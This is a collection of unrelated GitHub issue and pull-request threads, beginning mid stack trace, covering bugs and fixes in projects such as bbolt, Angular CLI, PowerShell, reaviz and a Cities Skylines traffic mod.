github.com/coreos/bbolt.(*freelist).count(0x0, 0x0)
xxx/src/github.com/coreos/bbolt/freelist.go:47 +0x22
github.com/coreos/bbolt.(*Tx).check(0xc4200ca000, 0xc4200ce000)
xxx/src/github.com/coreos/bbolt/tx.go:396 +0xdb
created by github.com/coreos/bbolt.(*Tx).Check
xxx/src/github.com/coreos/bbolt/tx.go:389 +0x67

When db is in read-only mode, db.freelist is not initialized in Open function. https://github.com/coreos/bbolt/blob/master/db.go#L254


ng build ignores outputHashing flag in angular.json, but works when passed as --output-hashing=none

🐞 Bug report
Command (mark with an x)

[ ] new
[ x ] build
[ ] serve
[ ] test
[ ] e2e
[ ] generate
[ ] add
[ ] update
[ ] lint
[ ] extract-i18n
[ ] run
[ ] config
[ ] help
[ ] version
[ ] doc

Is this a regression?
I'm not sure, haven't tested that.
Description
The  outputHashing": "none" flag is simply not working in the angular.json file.
When I run:
ng-build --output-hashing=none
I get the expected output,
but if i run
ng-build
while having the angular.json like this:

{
  "$schema"<EMAIL_ADDRESS>  "version": 1,
  "newProjectRoot": "projects",
  "projects": {
    "test-hashing": {
      "projectType": "application",
      "schematics": {
        "@schematics/angular:application": {
          "strict": true
        }
      },
      "root": "",
      "sourceRoot": "src",
      "prefix": "app",
      "architect": {
        "build": {
          "builder": "@angular-devkit/build-angular:browser",
          "options": {
            "outputHashing": "none",
            "outputPath": "dist/test-hashing",
            "index": "src/index.html",
            "main": "src/main.ts",
            "polyfills": "src/polyfills.ts",
            "tsConfig": "tsconfig.app.json",
            "assets": [
              "src/favicon.ico",
              "src/assets"
            ],
            "styles": [
              "src/styles.css"
            ],
            "scripts": []
          },
          "configurations": {
            "production": {
              "budgets": [
                {
                  "type": "initial",
                  "maximumWarning": "500kb",
                  "maximumError": "1mb"
                },
                {
                  "type": "anyComponentStyle",
                  "maximumWarning": "2kb",
                  "maximumError": "4kb"
                }
              ],
              "fileReplacements": [
                {
                  "replace": "src/environments/environment.ts",
                  "with": "src/environments/environment.prod.ts"
                }
              ],
              "outputHashing": "all"
            },
            "development": {
              "buildOptimizer": false,
              "optimization": false,
              "vendorChunk": true,
              "extractLicenses": false,
              "sourceMap": true,
              "namedChunks": true
            }
          },
          "defaultConfiguration": "production"
        },
        "serve": {
          "builder": "@angular-devkit/build-angular:dev-server",
          "configurations": {
            "production": {
              "browserTarget": "test-hashing:build:production"
            },
            "development": {
              "browserTarget": "test-hashing:build:development"
            }
          },
          "defaultConfiguration": "development"
        },
        "extract-i18n": {
          "builder": "@angular-devkit/build-angular:extract-i18n",
          "options": {
            "browserTarget": "test-hashing:build"
          }
        },
        "test": {
          "builder": "@angular-devkit/build-angular:karma",
          "options": {
            "main": "src/test.ts",
            "polyfills": "src/polyfills.ts",
            "tsConfig": "tsconfig.spec.json",
            "karmaConfig": "karma.conf.js",
            "assets": [
              "src/favicon.ico",
              "src/assets"
            ],
            "styles": [
              "src/styles.css"
            ],
            "scripts": []
          }
        }
      }
    }
  },
  "defaultProject": "test-hashing"
}

then the filenames still have the hash appended:

🔬 Minimal Reproduction
Repro is super simple. Simply run:
ng new test-hashing
go in angular.json file and add this line:

run ng build
you'll see that the files still have the hash appended at the end.
🔥 Exception or Error
🌍 Your Environment

     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/

Angular CLI: 13.1.4
Node: 16.13.2
Package Manager: npm 8.1.2
OS: win32 x64

Angular: 13.1.3
... animations, common, compiler, compiler-cli, core, forms
... platform-browser, platform-browser-dynamic, router

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1301.4
@angular-devkit/build-angular   13.1.4
@angular-devkit/core            13.1.4
@angular-devkit/schematics      13.1.4
@angular/cli                    13.1.4
@schematics/angular             13.1.4
rxjs                            7.4.0
typescript                      4.5.5

The mistake ended up being that i had another "outputHashing" flag in the angular.json.
Simply remove the duplicate and now it works
I still opened the issue so that if anyone else has the same problem they may find it.


Ensure resources for OAV device tests are in the test area ( rather than production )

Background:
It is suspected ( at the time of writing ) that some of the files in the OAV devices directory might belong in an area for test resources.
Tasks:
1: Review this assumption.
Conditional Tasks:
2: If any stray test resource files are found, move these into the appropriate area

I assume this is about dodal.devices.oav subpackage. I have more troubles finding the test _resources area
@CoePaul how can I find them?

test_resources presumably refers to the results of this search:
from dodal.devices.oav.
if it's used only in the test_dir it should probably move there


[T4A4][W13-B3] Ngin Yun Chuan

Ready for review

Accepting this PR without a review because another of your PRs for this tutorial was reviewed in detail.


Change to use pwsh to have consistent JSON conversion for DateTime

PR Summary
ConvertTo-Json has different behavior when it comes to DateTime type in Windows PowerShell and PowerShell Core
## pwsh
PS:6> $dateTime = [datetime]::UtcNow
PS:7> $dateTime = [datetime]::new($dateTime.Ticks - ($dateTime.Ticks % [timespan]::TicksPerSecond), $dateTime.Kind)
PS:8> @{ datetime = $dateTime } | ConvertTo-Json
{
  "datetime": "2019-11-19T22:32:50Z"
}

## powershell.exe
PS:11> $dateTime = [datetime]::UtcNow
PS:12> $dateTime = [datetime]::new($dateTime.Ticks - ($dateTime.Ticks % [timespan]::TicksPerSecond), $dateTime.Kind)
PS:13> @{ datetime = $dateTime } | ConvertTo-Json
{
    "datetime":  "\/Date(1574202819000)\/"
}

tools/releaseBuild/setReleaseTag.ps1 uses the DateTime as a property for the JSON file. Change the ymal file to use pwsh instead of powershell to get consistent behavior.
PR Context

PR Checklist

[x] PR has a meaningful title

Use the present tense and imperative mood when describing your changes

[x] Summarized changes
[x] Make sure all .h, .cpp, .cs, .ps1 and .psm1 files have the correct copyright header
[x] This PR is ready to merge and is not Work in Progress.

If the PR is work in progress, please add the prefix WIP: or [ WIP ] to the beginning of the title (the WIP bot will keep its status check at Pending while the prefix is present) and remove the prefix when the PR is ready.

Breaking changes

[x] None
OR
[ ] Experimental feature(s) needed

[ ] Experimental feature name(s):

User-facing changes

[x] Not Applicable
OR
[ ] Documentation needed

[ ] Issue filed:

Testing - New and feature

[x] N/A or can only be tested interactively
OR
[ ] Make sure you've added a new test if existing tests do not effectively test the code changed

Tooling

[x] I have considered the user experience from a tooling perspective and don't believe tooling will be impacted.
OR
[ ] I have considered the user experience from a tooling perspective and enumerated concerns in the summary. This may include:

Impact on PowerShell Editor Services which is used in the PowerShell extension for VSCode (which runs in a different PS Host).
Impact on Completions (both in the console and in editors) - one of PowerShell's most powerful features.
Impact on PSScriptAnalyzer (which provides linting & formatting in the editor extensions).
Impact on EditorSyntax (which provides syntax highlighting with in VSCode, GitHub, and many other editors).

This is a simple change that make the build use pwsh instead of powershell.exe. I will just merge it.


Ajustements

@KnifMelti What do you think about running notification first?
And ACL changed for re-intall from sources

It doesn't matter if you run the task first or the toast; there's an delay in both so they start at the same time...

very true. I tried to reduce this delay ^^

It looks nicer now 😉

For user run I was thinking about another way to informe them that the manual checking is running. A little windows waiting for the 2 scheduled task (system and user) to end.  a little bit like what we did for WiGui. no delay and close when finished

Might work.. ..even if the GUI style then differs...
...could you build in some sort of $OnClickAction = "$WorkingDir\logs\updates.log".
We use it to open the logs from the toast at the same time when we wan't to check the run...

you have the log shortcut now :p :p

I can live with that 😊


General Suggestions

[x] Date field
[x] Strike through items that are done for more clarity

@VJ1224, I plan to add a calendar app that displays the to-do items. I will add the Date field before I start working on it. I will also add the strikethrough feature in the next style update. Should I keep the checkboxes? thanks for the suggestions.

@AnimeAllstar Calendar is cool. Keep the checkboxes. A strikethrough will just make the change more visual and obvious.

I'm thinking of putting the calendar app on hold and focus on adding multiple owners to boards (like a group). It will work using a system where you can invite other people who have accounts to a board or group of boards. After setting it up and so that people can collaborate on boards, I'll work on a calendar view.  Any suggestions?


Create a consul announcer

Now that we have an announcer API, we should support a consul implementation that announces via the consul API.

attn @Ashald

Dupe of #606


tls: Optionally skip client EOF wait

This commit extends the tls::wrap_client interface with an optional param which indicates to the sessions that it should not wait for an EOF after sending the BYE message.
Badly behaved servers will not send the expected EOF message. Clients that call wait_input_shutdown on the connected socket will hang for 10 seconds in that case.
The previous default behaviour has been preserved and clients should always wait for EOF if the intend to re-use the connection.

Meant to go for 23.2 instead. Closing in favour of https://github.com/redpanda-data/seastar/pull/63.


How to make session cookies essential/GDPR

Fixes #11088
Internal review URL

The italics might be squashed with escapes on lines 46, 48, and 54 (_).

They're not but good to watch out for.

DocFX has rules that suggest that they won't be a problem, but GH doesn't seem to agree/conform to the same rules. Of course, the final topic is the source of truth, and I think the DocFX :cat2: know what they're doing.


update PluginManager

Provide a new way to create plugin command like commander.js.
@niokasgami
@liply
#40

@JonasT
This PR is just a few of my ideas for the discussion of the plugin manager. So the code is relatively rough. Later I will update a more complete version.


Streamer Central: current streamers, mayby calendar of streamer events

Streamer Central: current streamers, mayby calendar of streamer events

Delivered


Investigate and document minimum roles and permissions needed

Document the current set of minimum permissions needed for a role to allow cloud provider to function.

Let's track this in #86 which has more information & context.


Pattern match known kernels with good implementations

The idea is to match on known kernels and dispatch to good implementations. This has been done with library implementations of gemm in e.g. TensorOperations.jl, TensorCast.jl or Swizzles.jl.

I'm closing this because Finch has become a language to write implementations, not dispatch to them. An einsum wrapper would go on top of Finch, and be super useful, but it's not what we support currently.

An external function interface would be very welcome, but I think that's a slightly different issue, and we'll focus on that if anyone ever asks for it.


fix(WebSocket): set correct "currentTarget" on client events

Fixes #524

Released: v0.26.14 🎉
This has been released in v0.26.14!

📄 Release notes
📦 npm package

Make sure to always update to the latest version (npm i @mswjs/interceptors@latest) to get the newest features and bug fixes.

Predictable release automation by @ossjs/release.


Array index is out of range. at AircraftAI.CalculateSegmentPosition

Solution:
The bug is due to airports/heliports that are built outside central 25 tile area. To fix the bug, build them within the central 25 tile area.

This is caused by something external to TM:PE.
Clearing traffic resolved the issue.
Side node: Loading Screen Mod will soon have ability to clear cims and vehicles. :)
Tagging similar issues: #268, #221, #82, #450
Steam discussion
https://steamcommunity.com/app/255710/discussions/0/1635291505022688541
Summary:

Disabled a bunch of mods - didn't fix
Switched from STABLE to ALPHA - didn't fix
No notable errors in TMPE.log (see logs section later)
Bunch of Klyte mods spitting errors on game exit as usual

Stack trace
Simulation error: Array index is out of range.
  at AircraftAI.CalculateSegmentPosition (UInt16 vehicleID, .Vehicle& vehicleData, Position nextPosition, Position position, UInt32 laneID, Byte offset, Position prevPos, UInt32 prevLaneID, Byte prevOffset, Int32 index, UnityEngine.Vector3& pos, UnityEngine.Vector3& dir, System.Single& maxSpeed) [0x00000] in <filename unknown>:0
  at TrafficManager.Custom.AI.CustomVehicleAI.CustomUpdatePathTargetPositions (UInt16 vehicleId, .Vehicle& vehicleData, Vector3 refPos, System.Int32& targetPosIndex, Int32 maxTargetPosIndex, Single minSqrDistanceA, Single minSqrDistanceB) [0x00000] in <filename unknown>:0
  at AircraftAI.SimulationStep (UInt16 vehicleID, .Vehicle& vehicleData, .Frame& frameData, UInt16 leaderID, .Vehicle& leaderData, Int32 lodPhysics) [0x00000] in <filename unknown>:0
  at PassengerPlaneAI.SimulationStep (UInt16 vehicleID, .Vehicle& vehicleData, .Frame& frameData, UInt16 leaderID, .Vehicle& leaderData, Int32 lodPhysics) [0x00000] in <filename unknown>:0
  at VehicleAI.SimulationStep (UInt16 vehicleID, .Vehicle& vehicleData, UInt16 leaderID, .Vehicle& leaderData, Int32 lodPhysics) [0x00000] in <filename unknown>:0
  at AircraftAI.SimulationStep (UInt16 vehicleID, .Vehicle& data, Vector3 physicsLodRefPos) [0x00000] in <filename unknown>:0
  at VehicleManager.SimulationStepImpl (Int32 subStep) [0x00000] in <filename unknown>:0
  at SimulationManagerBase`2[Manager,Properties].SimulationStep (Int32 subStep) [0x00000] in <filename unknown>:0
  at VehicleManager.ISimulationManager.SimulationStep (Int32 subStep) [0x00000] in <filename unknown>:0
  at SimulationManager.SimulationStep () [0x00000] in <filename unknown>:0
  at SimulationManager.SimulationThread () [0x00000] in <filename unknown>:0   [Core]
  at AircraftAI.CalculateSegmentPosition (UInt16 vehicleID, .Vehicle& vehicleData, Position nextPosition, Position position, UInt32 laneID, Byte offset, Position prevPos, UInt32 prevLaneID, Byte prevOffset, Int32 index, UnityEngine.Vector3& pos, UnityEngine.Vector3& dir, System.Single& maxSpeed) [0x00000] in <filename unknown>:0
  at TrafficManager.Custom.AI.CustomVehicleAI.CustomUpdatePathTargetPositions (UInt16 vehicleId, .Vehicle& vehicleData, Vector3 refPos, System.Int32& targetPosIndex, Int32 maxTargetPosIndex, Single minSqrDistanceA, Single minSqrDistanceB) [0x00000] in <filename unknown>:0
  at AircraftAI.SimulationStep (UInt16 vehicleID, .Vehicle& vehicleData, .Frame& frameData, UInt16 leaderID, .Vehicle& leaderData, Int32 lodPhysics) [0x00000] in <filename unknown>:0
  at PassengerPlaneAI.SimulationStep (UInt16 vehicleID, .Vehicle& vehicleData, .Frame& frameData, UInt16 leaderID, .Vehicle& leaderData, Int32 lodPhysics) [0x00000] in <filename unknown>:0
// ....

Any airport/heliport built outside the central 25 tile area can cause the array index bug.

Related error:
Simulation error: Array index is out of range.
at PassengerPlaneAI.SimulationStep (UInt16 vehicleID, .Vehicle& vehicleData, .Frame& frameData, UInt16 leaderID, .Vehicle& leaderData, Int32 lodPhysics) [0x00000] in <filename unknown>:0
at VehicleAI.SimulationStep (UInt16 vehicleID, .Vehicle& vehicleData, UInt16 leaderID, .Vehicle& leaderData, Int32 lodPhysics) [0x00000] in <filename unknown>:0
at AircraftAI.SimulationStep (UInt16 vehicleID, .Vehicle& data, Vector3 physicsLodRefPos) [0x00000] in <filename unknown>:0
at VehicleManager.SimulationStepImpl (Int32 subStep) [0x00000] in <filename unknown>:0
at SimulationManagerBase`2[Manager,Properties].SimulationStep (Int32 subStep) [0x00000] in <filename unknown>:0
at VehicleManager.ISimulationManager.SimulationStep (Int32 subStep) [0x00000] in <filename unknown>:0
at SimulationManager.SimulationStep () [0x00000] in <filename unknown>:0
at SimulationManager.SimulationThread () [0x00000] in <filename unknown>:0 [Core]

Hi I am getting this error from the output log but I do not have any airports outside the 25 tile area. I do not use 81 tiles either. How can I get this bug re-opened?

Just create new issue, but there are better places for seeking for support - e.g. Cities Skylines discord text chat.
I don't think the problem is related with the TM:PE mod, and people from mentioned discord can help a lot, since they have a lot more experience with help of solving similar issues.


feature: upgrade golang version to 1.12.10

Signed-off-by: fengzixu<EMAIL_ADDRESS>
Ⅰ. Describe what this PR did
Due to the golang vulnerability, we need to upgrade golang version
Ⅱ. Does this pull request fix one issue?

#989
Ⅲ. Why don't you add test cases (unit test/integration test)? (你真的觉得不需要加测试吗？)
Ⅳ. Describe how to verify it
I run make build and make unit-test to verify
Ⅴ. Special notes for reviews

Codecov Report

Merging #1005 into master will increase coverage by 0.01%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #1005      +/-   ##
==========================================
+ Coverage   46.93%   46.95%   +0.01%
==========================================
  Files         115      115
  Lines        6954     6954
==========================================
+ Hits         3264     3265       +1
  Misses       3434     3434
+ Partials      256      255       -1

Impacted Files
Coverage Δ

supernode/daemon/mgr/scheduler/manager.go
22.6% <0%> (+0.68%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bb999f2...ab9af94. Read the comment docs.

@Starnop @yeya24 Request review

@fengzixu

@fengzixu

Done

LGTM.

LGTM


Add line numbers

Hi,
Is it possible to add line numbers with this plugin?
Thanks.

No, but you can do it using CSS.
We do it using a CSS counter in the :before of the code line.


Remove backspace characters from "name" value in core-data-importer.postman_collection.json

The value of the "name" key in core-data-importer.postman_collection.json contains two backspace characters at the beginning:
https://github.com/edgexfoundry/blackbox-testing/blob/48e72ccfa01bd38e48cbd11f550417818b3cbe3e/bin/postman-test/collections/core-data-importer.postman_collection.json#L4
Although this doesn't seem to affect postman/newman, it does break the Javascript code in the Github Action used to run Newman tests in a Github workflow. The name therefore should be changed to "core-data-importer".

The same problem is also in another file - support-notifications-importer.postman_collection.json
https://github.com/edgexfoundry/blackbox-testing/blob/48e72ccfa01bd38e48cbd11f550417818b3cbe3e/bin/postman-test/collections/support-notifications-importer.postman_collection.json#L4


[sw] update otp_ctrl offsets and sizes to use generated headers

Signed-off-by: Timothy Chen<EMAIL_ADDRESS>

Nice!


Treemap label wrapping not working

I'm submitting a...

[ ] Regression (a behavior that used to work and stopped working in a new release)
[x] Bug report
[ ] Performance issue
[ ] Feature request
[ ] Documentation issue or request
[ ] Other... Please describe:

Current behavior

When the treemap label is longer than it's rect, it doesn't wrap and instead just disappears.
Expected behavior

Labels wrap nicely.
Minimal reproduction of the problem with instructions
I've checked the current shape of the wrapText function here and while looping over the words, in lines 33 and 38 it always adds the word width to the sum. It then compares sumWidth to container width in line 52 and if we need wrapping, it's obviously longer, so it returns null.
Since wrapText is used in different charts as well and I've just started using reaviz, I'm probably not the person to fix it so I don't cause any regressions.
const simpleData: ChartShallowDataShape[] = [
    {
      key: "Very long text, make it as long as necessary or shrink the treemap width so it's longer than the rect's width.",
      data: 1,
    },
    ]

     return <TreeMap
      height={400}
      data={simpleData}
      margins={20}
      series={
        <TreeMapSeries  />
      }
    />

Environment

Libs:
    "react": "17.0.2",
    "reaviz": "13.1.3"
Others:

Side comment: it seems like a good opportunity to introduce on-demand wrapping while fixing this one, how would you feel about parsing \ns into subsequent rows?

This logic is pretty tricky - I fought w/ it for a bit. I'm open to any suggestions you might have.

This has to account for all the other stuff that's in there and I made a comfortable assumption that wordWidth === word.length, but maybe this would work:
const getRows = (text: string, maxRowWidth: number): string[] | null => {
  const words = text.split(" ");
  if (words.some((w) => w.length > maxRowWidth)) {
    // if any single word if too long, just null
    return null;
  }

  return words.reduce<string[]>(
    (rows, word) => {
      const currentRow = rows[rows.length - 1];
      return currentRow.length + word.length > maxRowWidth
        ? [...rows, word] // add row if the next word would cause overflow
        : [...rows.slice(0, -1), `${currentRow} ${word}`]; // add the word to last row
    },
    [""]
  );
};

I made a comfortable assumption that wordWidth === word.length

Ya, you can't do this. Fonts can vary dramatically. The library already does some measuring of the text that you should be able to use.

Hi, I am new to this repo but would like to contribute, especially to this issue. I looked into wrapText.tsx and found a few things that made it not working for treemap. For example, the sum of word widths (plus spaces) was not the same as running calculateDimensions() on the whole sentence, probably due to kerning and such. paddingX had no default value and could be undefined and etc. I edited wrapText() as follows.
for (const word of words) {
  nextText = curText === "" ? word : `${curText} ${word}`;
  nextWidth = calculateDimensions(nextText, fontFamily, fontSize).width;

  if (nextWidth <= width - (paddingX ? 2*paddingX : 0)) {
    curText = nextText;
    currWidth = nextWidth;
  } else {
    rows.push(curText);
    maxWidth = Math.max(maxWidth, currWidth);
    curText = word;
    currWidth = calculateDimensions(curText, fontFamily, fontSize).width;
  }
}
rows.push(curText);
maxHeight = rows.length * size.height;

I also wrote a treemap example with long text labels in the Storybook to test it. wrapText() was used in two other charts: bubble chart and Venn diagram. I checked their examples with long label texts and they worked fine as well.
If this sounds okay, I can create a pull request.

@puripant - We would welcome any contributions!


Possibility to configure plugin to skip certain repos

[x] I have read the guidelines for submitting issues

⚠ Is your feature request related to a problem? Please describe

My use case: I have dependencies in a private repo that requires credentials. So for those dependencies, I hardcode their versions. I think it might be useful to be able to specify that such repos should be skipped when trying to resolve the dependency versions.
Also, it might help with this: because of that private repo, I get this comment above each entry in versions.properties:
## failed to check repo https://example.com/artifactory/libs-release/ Cause: http status code 403 HTTP 403 Response.error()
💡 Describe the solution you'd like

A way to configure refreshVersions to skip certain repos. It could be a list of URLs declared e.g. in the refreshVersions {} config block.
🤚 Do you want to develop this feature yourself?

[ ] Yes
[x] No

Hello, do you also get this error line for the libraries that actually are in the repo?

Hello, sorry for the late reply. I had a few days off, I haven't touched the project in the meantime, but running the refreshVersions task again today, that error disappeared.
For the library in the private repo, I had hardcoded the version before, but today I tested with _ instead and it gets resolved fine as well. Can't understand what was going on the other time.

That's strange, please reopen if you get the issue again